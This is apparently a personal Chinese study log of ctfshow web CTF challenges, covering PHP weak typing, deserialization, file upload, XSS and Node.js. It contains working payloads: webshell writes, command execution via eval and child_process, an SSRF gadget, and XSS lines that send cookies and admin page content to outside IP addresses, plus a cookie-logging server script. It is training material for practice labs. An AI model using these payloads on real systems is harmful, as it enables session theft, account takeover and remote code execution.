0 07744 八进制(PHP8 不推荐)
0b 0b110 二进制

所以:

  • intval("0x117c", 0) = 十六进制 0x117c = 十进制 4476
  • intval("4476a", 0) = PHP 解析前面合法的部分,得到 4476
  • intval("4476.1", 0) = 转换成 4476

注意:

这些例子都是 字符串不等于 “4476”,但经过 intval() 后结果是 4476,所以能通过判断,输出 $flag

web91

1
2
3
4
5
6
7
8
9
10
11
12
13
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
1
2
3
4
5
/i表示匹配大小写,/m表示多行匹配 , "行首"元字符 (^) 仅匹配字符串的开始位置**, **而"行末"元字符 ($) 仅匹配字符串末尾,字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配到以php开头和以php结尾的字符串才会返回true 。

是要求我们多行匹配到php但是单行匹配不到php。

payload:?cmd=%0aphp // %0a表示换行符

web93

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

4476.1

web94

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

先看题目,多了一个 !strpos($num, “0”) , strpos() 函数查找字符串在另一字符串中第一次出现的位置 ,这里要求是第一个字符不是0,其他和上题一样,可用4476.0绕过,或者在八进制前面加空格,或者 ?num=+4476 。

payload:

1
2
3
?num=4476.0
?num= 010574
?num=+4476.0

web95

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

payload:

1
2
3
?num= 010574
?num=+010574
AI写代码12

web96

1
2
3
4
5
6
7
8
9
highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}

看题目,要求u不弱等于flag.php,然后高亮u。可以推断出,flag在当前目录下的flag.php文件中。

payload:

?u=../html/flag.php
?u=./flag.php //相对路径, ./表示在当前目录下
?u=php://filter/convert.base64-encode/resource=flag.php //伪协议
?u=php://filter/resource=flag.php //伪协议
?u=/var/www/html/flag.php //绝对路径

web97

1
2
3
4
5
6
7
8
9
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}

payload:

a[]=17&b[]=17 //数组
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
//强碰撞

web98(看不懂源码看不懂解析)

1
2
3
4
5
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

既然get传入的值会被定位指向到post所对应的值,那么只需要有get存在即可,同时post传入HTTP_FLAG=flag就可以了 payload ?HTTP_FLAG=随便输 //GET HTTP_FLAG=flag //POST

web99

1
2
3
4
5
6
7
8
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}

$allow = array(); 创建一个空数组array

for ($i=36; $i < 0x36d; $i++) { for循环,i从36到0x36d逐渐+1

array_push($allow, rand(1,$i)); $allow是个数组,arraypush把从1到i的一个随机数入栈

if(isset($_GET[‘n’]) && in_array($_GET[‘n’], $allow)){ 接受在这个数组里的n,让n作为文件名

PHP里的弱类型比较在字符串和数字比较的时候会尝试把字符串转为数字,所以1.php和1是这里是相等的。

由于这个数组的末尾一开始是从36开始增加,所以这个数组本来就有1-36的随机push,所以1-36出现的概率最大,我们这里让n=1.php,content=<?PHP eval($_POST[1]);?>反复执行几次,再访问1.php并发送1=system(‘ls’);就好。

web100

1
2
3
4
5
6
7
8
9
10
11
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");

这里考察了=和and的优先级,&&>||>=>and>or

所以

1
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

这一行是意思是,v1是否是数字复制给v0,再检查v2v3是不是数字,所以只需要v1是数字就能让v0=1。

后面有没有分号什么的不说了。

payload如下:

1
2
3
4
5
?v1=1&v2=system("tac ctfshow.php")/*&v3=*/;     //利用注释
?v1=1&v2=system('tac ctfshow.php')&v3=; //直接打也行
?v1=1&v2=echo new ReflectionClass&v3=; //使用反射类直接输出class ctfshow的信息
?v1=1&v2=var_dump($ctfshow)&v3=; //因为这个flag在ctfshow这个类中,直接打印变量
//var_dump($ctfshow):打印变量 $ctfshow 的详细信息。

web101

1
2
3
4
5
6
7
8
9
10
11
include("ctfshow.php");
//flag in class ctfshow; 注意这一句的存在。
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
1
?v1=1&v2=echo new ReflectionClass&v3=;          //使用反射类直接输出class ctfshow的信息

这个题太坑了,先要把0x2d换成

ReflectionClass

原生类是PHP自带的类,这些类方便开发人员完成系统底层或常用的功能,比如操作系统、数据库、反射、异常处理等。

ReflectionClass是PHP自带的反射(Reflection)类。反射简单来说就是程序在运行时能查看自己的结构和信息,就像“照镜子”一样。

它可以让你在代码运行时查看一个类的详细信息,包括类名,方法,属性等。

假设你有一个类叫 ctfshow,你想知道这个类里面有什么属性和方法,你就可以用:

1
2
$ref = new ReflectionClass('ctfshow');
print_r($ref);

它会告诉你很多关于 ctfshow 类的结构信息。

web102

1
2
3
4
5
6
7
8
9
10
11
12
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');

web103

1
2
3
4
5
6
7
8
9
10
11
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}

这两题就差一个短标签绕过,一起理解了。首先v2是数字v4就是1。选取v2从第二个位置开始的字符作为指定函数的参数。最后把运行结果放到v3里。

这个题目的payload属于意料之外情理之中,就是把放入的命令先短标签绕过,再base64编码,再转换成ASCII编码,开头加上两个占位字符,就是我们的v2。

为什么v2可以通过is_numeric呢?因为PHP是一个字符串里面有e就会判定为数字的语言。

1
2
3
4
$a='<?=`cat *`;';
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //这里直接用去掉=的base64
输出 5044383959474e6864434171594473

这里有个e,就是能过。

1
2
3
?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=x.php                 //GET
//str=PD89YGNhdCAqYDs(<?=`cat *`; 的base64编码)
v1=hex2bin //POST

然后url+x.php访问查看源代码什么都有了。

web104

1
2
3
4
5
6
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;

数组绕过

也可以弱碰撞

1
2
3
4
5
aaK1STfY
//0e76658526655756207688271159624026011393

aaO8zKZF
//0e89257456677279068558073954252716165668

web105

​```php
include(‘flag.php’);
error_reporting(0);
$error=’你还想要flag嘛?’;
$suces=’既然你想要那给你吧!’;
foreach($_GET as $key => $value){
if($key===’error’){
die(“what are you doing?!”);
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value===’flag’){
die(“what are you doing?!”);
}
$$key=$$value;
}
if(!($_POST[‘flag’]==$flag)){
die($error);
}
echo “your are good”.$flag.”\n”;
die($suces);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

先看两个能输入的地方

`die($error);`这个地方我们如果把\$error=\$flag就可以输出flag了,但是value等于flag会拦截,所以我们让suces=flag,error=suces。

也就是get发suces=flag,POST发error=suces。

那么我们要走`die($suces);`,那么我们要让flag=\$flag,所以我们要控制\$flag,先让flag的值存在suces里,再控制它

`? suce=flag`然后`flag=`

最后POST传`flag=`或者不传。



### web106

```php
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;

数组绕过

web107

1
2
3
4
5
6
7
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;

ai能写出来

web108

​```php
include(“flag.php”);

if (ereg (“^[a-zA-Z]+$”, $_GET[‘c’])===FALSE) {
die(‘error’);}
if(intval(strrev($_GET[‘c’]))==0x36d){
echo $flag;
}

1
2
3

ereg("正则表达式", 字符串) 匹配失败是false

if (ereg (“^[a-zA-Z]+$”, $_GET[‘c’])===FALSE)

1
2
3
4
5
6
7
8
9
10
11
12
13

这一句要求传的c全是字母

strrev 把字符串倒过来

`0x36d` 是十六进制数,等于 **877**

`intval()` 是把一个值转成整数,并且用的是弱比较



ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

?c=a%00778

1
2
3
4
5
6
7
8
9
10

### web109(纠结语法中)

```php
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");

/[a-zA-Z]+/ 至少一个英文字母的意思

echo new 很容易就想到类

Exception 类有一个特殊的方法叫做 __toString(),当你 echo Exception对象 时,它会自动调用这个魔术方法,并把异常信息(也就是 system() 的返回值)打印出来!

web110

1
2
3
4
5
6
7
8
9
10
11
12
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}

eval("echo new $v1($v2());");

web111

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}

文件上传

web151

上传一个png文件,改成Content-Type: application/x-php,上传一句话木马,flag.php在/var/www/html里。

web152

抓包修改Content-Type: image/png

web153

反序列化

web254

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();

web255

1
2
3
4
5
6
7
8
9
10
11
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
}

$user = new ctfShowUser();
echo urlencode(serialize($user));
//O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web256

多了一步对username和password的判断,要求不想等

只要在实例化对象里修改两个属性的值就可以

web257

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $code = 'system("tac flag.php");';
public function getInfo(){
eval($this->code);
}
}
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}

$answer = new ctfShowUser();
echo urlencode(serialize($answer));

web258

if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){

过滤了O:数字和C:数字,由wakeup绕过想到可以加“+”,但是要注意这里有两个O:,需要加两次,这里的属性为了方便都是public,上一题的payload不能直接用。

?web259?

了解了一下SoapClient这个类,但说实话拿着网上脚本跑出来的payload会报错(是要先把flag写入flag.txt还是要用yakit?)

1
Warning: SoapClient::__doRequest(): supplied argument is not a valid Stream-Context resource in /var/www/html/index.php on line 8
1
2
3
4
5
6
7
8
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>

本来以为用的是SplFileObject类,查了一下发现不能实例化。

//O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22ssrf%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22wupco%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

web260

1
2
3
4
5
6
7
8
9
10
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}

?ctfshow=ctfshow=ctfshow_i_love_36D

这个题是在。。?

web261

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

highlight_file(__FILE__);

class ctfshowvip{
public $username;
public $password;
public $code;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}

public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}

unserialize($_GET['vip']);

逻辑:终点有两个,但是我们没有看见可以触发invoke的标准函数()括号,排除,于是思路是用file_put_contents写webshell。

在php7.4.0开始,如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。这里code会等于username+password,要求弱等于0x36d,也就是十进制的877,那么只需要把username等于877.php就行了。

PHP 的弱类型比较

== 在 PHP 中是弱类型比较(loose comparison):

  • 当左右两边类型不一致时,PHP 会尽量把它们转换成相同类型再比较。
  • 如果是“数字字符串” 和 “数字” 比较,PHP 会把字符串按数字规则转换成整数,然后比较。

数字转换规则:

  • 从字符串开头开始读取,如果是数字就转换成数字,遇到第一个非数字字符就停止。

​```php
‘;
public $code = 877;
public function __invoke(){
eval($this->code);
}

public function __destruct(){
    if($this->code==0x36d){
        file_put_contents($this->username, $this->password);
    }
}

}

$a = new ctfshowvip();
echo serialize($a);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

之后访问/877.php,通过webshell执行RCE。



### web262



## XSS

https://blog.csdn.net/Jayjay___/article/details/133375048

### web316

![image.png](https://cdn.nlark.com/yuque/0/2025/png/55662681/1756979424360-256e23f4-97d7-4ba4-881d-aba45b3aca33.png?x-oss-process=image%2Fformat%2Cwebp)

在自己vps上写

```php+HTML
<?php
$cookie = $_GET['cookie'];
$time = date('Y-m-d h:i:s', time());
$log = fopen("cookie.txt", "a");
fwrite($log,$time.': '. $cookie . "\n");
fclose($log);
?>

接着在框里写

1
<script>location.href="http://(自己服务器的公网ip)/xss.php(存放上述php代码的文件)?cookie="+document.cookie</script>

如果之前没有cookie.txt要自己建立一个

image.png

web317

大小写不敏感过滤了script,那就用img标签写

1
<img src="" οnerrοr=location.href="http://47.122.71.42/xss.php?cookie="+document.cookie>

web318.319

1
2
3
4
5
6
<body οnlοad=location.href="http://47.122.71.42/xss.php?cookie="+document.cookie>
<body onload="document.location.href='http://47.98.193.145/1111/127.php?1='+document.cookie"></body>

<body onload="document.location.href='http://47.98.193.145/1111/127.php?1='+document.cookie">

<iframe οnlοad=document.location='http://47.98.193.145:1470/?cookie='+document.cookie>

web320.321

过滤了script,img,空格。

空格可以用%09tab//**/代替。

1
<body/**/οnlοad=location.href="http://47.98.193.145/1111/127.php?cookie="+document.cookie>

这里网上看到一个构造payload的复杂方法,主要是利用String.fromCharCode()函数可以ascii码转字符的特性把payload都变成ascii码。

字符串转ascii码:

1
2
3
4
5
6
7
8
9
10
11
input_str = input("请输入字符串: ")  # 获取用户输入的字符串
ascii_list = []

# 遍历字符串,将每个字符转换为ASCII码,并添加到列表中
for char in input_str:
ascii_code = ord(char) # 使用ord()函数获取字符的ASCII码
ascii_list.append(str(ascii_code)) # 将ASCII码转换为字符串并添加到列表

# 将列表中的ASCII码用逗号隔开,并打印结果
result = ','.join(ascii_list)
print("转换后的ASCII码:", result)

ascii码转字符串脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def ascii_to_string(ascii_str):
# 将以逗号分隔的ASCII码字符串分割成一个列表
ascii_list = ascii_str.split(',')

# 使用列表推导式将ASCII码转换为字符,并连接成一个字符串
result = ''.join(chr(int(code)) for code in ascii_list)
return result


# 输入以逗号分隔的ASCII码字符串
ascii_str = input("请输入以逗号分隔的ASCII码字符串: ")

# 调用函数进行转换并打印结果
string_result = ascii_to_string(ascii_str)
print("转换后的字符串:", string_result)

这样的话

1
<body/**/οnlοad=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,49,50,48,46,52,54,46,52,49,46,49,55,51,47,74,97,121,49,55,47,49,50,55,46,112,104,112,63,99,111,111,107,105,101,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,60,47,115,99,114,105,112,116,62));>

括号里面是

1
<script>document.location.href='http://120.46.41.173/Jay17/127.php?cookie='+document.cookie</script>

web322-326

过滤了script,img,iframe,xss,空格,分号,逗号。

1
2
3
4
<iframe/**/οnlοad=location.href="http://ip/xss.php?cookie="+document.cookie></iframe>
<svg/**/οnlοad=location.href="http://ip/xss.php?cookie="+document.cookie>
<body/οnlοad=location.href="http://ip/xss.php?cookie="+document.cookie>
<input/**/οnfοcus=location.href="http://ip/xss.php?cookie="+document.cookie>

322,没复现成功,要么是格式上双引号单引号什么的,忘记chmod 666了

搞出来一个结果是PHPSESSID=a6v9u4gg01sg1eh55498q0lh9i; flag=you are not admin no flag

很疑惑

还有这题是过滤了xss的所以这里要改名

当将这行脚本代码提交后,稍等片刻,会有个类似admin管理员的程序每隔一段时间就查看我们提交的连接,然后就可以拿到admin的cookie

看了另外一个wp,这个不会死

1
<svg/onload="window.location.href='http://47.122.71.42/poc.php?cookie='+document.cookie">

web327

这题开始是存储型XSS了。首先就是poster必须是admin才能发送成功,其次就是XSS的触发点应该是sender和content都可以。这题没有任何过滤。

payload:(其实这题没有过滤,懒一点直接复制之前的了)

1
<script> onload=location.href="http://47.98.193.145/1111/127.php?cookie="+document.cookie</script>

web328

注册时候用户名密码都用payload(头这里没用了,可能被过滤了)

打paylaod前vps监听9023端口。

payload:

1
<script>window.open('http://120.46.41.173:9023/'+document.cookie)</script>

获得管理员的cookie

image.png

点击用户管理,改cookie

image.png

不懂,放在这里以后研究:

别人的wp:
TIP:关于异步(加深了解可写项目或看项目),页面框架获取和数据拉取填充是异步进行的,不在同一个数据包中,如果通过BURP完成此题,请注意数据包是否为获取指定数据。

另外一种思路:
将页面指定部分直接发送到XSS平台
经分析,flag大概率在document.body.innerText,且数据量不大

yu师傅的超强模块也是个好办法:

image-20230926223432415

web329

和上题一样,但是过滤了script,用<svg οnlοad="">标签

1
<svg/onload="window.location.href='http://服务器IP/cookie.php?cookie='+document.cookie">

还是仅管理员可见。

image-20230926224850950

和上题不同的是,Cookie会立刻失效。不能通过窃取Cookie的形式得到flag了。

我们分析一下原理,我们的payload作为储存型XSS,管理员访问时候能被我们窃取Cookie,那是不是还能窃取点别的东西呢,比如说管理员看到的用户名和密码。理论上来说是可以的,所以就直接获取管理员的页面信息。

问题是如何带出数据?

方法一:我们可以通过类名查找元素,通过document来获取。

现在vps上面监听端口9023。

innerHTML和outerHTML的区别

1、innerHTML:
  从对象的起始位置到终止位置的全部内容,不包括Html标签。
innerText可替代innerHTML

2、outerHTML:
  除了包含innerHTML的全部内容外, 还包含对象标签本身。

可以看到前端代码中将要显示admin密码的地方类为layui-table-cell laytable-cell-1-0-1
image-20230926230205978

payload: (作为账号密码注册后登录)

1
<script>window.open('http://120.46.41.173:9023/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>
1
解释一下它的每一部分:
1
2
3
4
5
6
window.open('http://120.46.41.173:9023/' + document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML) 这是一个调用 window.open() 函数的语句,用于打开新的浏览器窗口。
'http://120.46.41.173:9023/' 这是一个字符串,表示要打开的网页的 URL。它包括了协议(http://)、主机名(120.46.41.173)和端口号(9023),以及路径(后面的斜杠 /)。
document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML 这是一系列 DOM 操作,用于获取网页中特定元素的内容。
document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1') 是一个通过类名查找元素的方法。它查找具有类名 'layui-table-cell' 和 'laytable-cell-1-0-1' 的元素,通常这是一种针对表格单元格的选择。
[1] 表示从匹配的元素列表中选择第二个元素(JavaScript 中的数组索引从 0 开始)。
.innerHTML 用于获取选定元素的 HTML 内容,也就是在这个表格单元格中显示的文本或 HTML。

还有两种解法,自己去这里看:

https://blog.csdn.net/Jayjay___/article/details/133375048

https://blog.csdn.net/tj13995958709/article/details/137744197

web330

这一题用上一题的做法就不行,这一题admin的cookie是一直在变的,而且很快,看到此题还有修改密码的功能,注册个普通账号,在修改密码时抓包

img

可以利用xss漏洞让admin自己修改密码

可以看见,调用了一个api/api/change.php?p=123。参数p就是我们修改后的密码。Cookie用于验证身份。

我们想修改管理员的密码,一开始肯定会想到先拿管理员Cookie再伪造包。但是管理员Cookie实时变化呀。我们何尝不使管理员”主动”修改密码呢,当然,是在XSS的作用下”主动”修改密码。

payload: (还是老样子,作为账号密码,注册登录)

1
<script>window.location.href='http://127.0.0.1/api/change.php?p=1717';</script>

这时候会出现一种情况,我们在管理员账号上一点击用户管理,立马跳转到api,来不及复制flag。这是因为我们的XSSpayload是一个用户账号,管理员每次访问用户管理都会解析它。

解决办法:立刻Ctrl+u查看源码或者抓包。

image-20230928045022882

下面开始乱写了

web331

post发

web332

给admin转负数

web333

自己转自己

总结常见过滤

script

img

空格

iframe

xss

;

,

题目类型大概分为反射性,存储型(注册登录,管理员cookie)

node.js

web334

附件给了源码 user.js login,js

user.js 中有用户名:CTFSHOW,密码:123456 4、审计 login.js,其中代码 return name!==’CTFSHOW’ && item.username === name.toUpperCase() && item.password === password;,用户名输入小写 ctfshow

web335

页面发现 eval 参数的 get 传参

1
2
?eval=require('child_process').execSync('ls')
?eval=require('child_process').execSync('tac fl00g.txt')
1
2
3
4
5
代码解释:
require('child_process'):在 Node.js 里,child_process 是一个内置模块,require('child_process') 用于引入该模块,借助它可以创建子进程。
spawnSync('ls', ['.']):spawnSync 是 child_process 模块的同步方法,其作用是创建一个子进程并执行命令。这里执行的命令是 ls(在 Unix/Linux 系统下用于列出目录内容),参数是 .(表示当前目录)。
.stdout.toString():spawnSync 方法的返回值包含子进程的标准输出(stdout)等信息,stdout 是一个 Buffer 对象,toString() 方法把它转换为字符串。
整体效果:当 Web 应用执行这个 eval() 代码时,会列出当前目录下的所有文件和文件夹。

跟 SSTI 是固定模版,require 类似于 import,所以背就完事了,

web336

把上一题的 execSync 过滤了

过滤了 exec,其他不变

1
2
3
4
child_process.spawnSync(command[, args][, options])

?eval=require('child_process').spawnSync('ls', ['-l', '.']).stdout
?eval=require('child_process').spawnSync('cat', ['fl001g.txt']).stdout

其中的 stdout 表示缓冲区中的内容,也就是输出结果,也可以在结尾继续追加一个 toString()方法但是还可以用

or:

1
2
3
4
检查发现过滤了 exec
可以将命令 base64 编码,然后解码后再次 eval

/?eval=eval(Buffer.from("cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCdjYXQgZmwwMDFnLnR4dCcp",'base64').toString('ascii'))

web337

1
2
3
4
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});

?a[a]=1&b[b]=1
满足 a 和 b 都为真、a 和 b 长度相等、和字符串拼接的结果都是[object Object]flag

web338

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
给了源码, 看到 login.js 里面有个 copy() 函数

router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});

找到 copy() 函数的用法

function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

基础的原型链污染, 因为需要 满足条件 secert.ctfshow==='36dboy' , 可以输出 flag,
但是 secert 是否有 ctfshow 不重要, 让它的原型拥有就行,
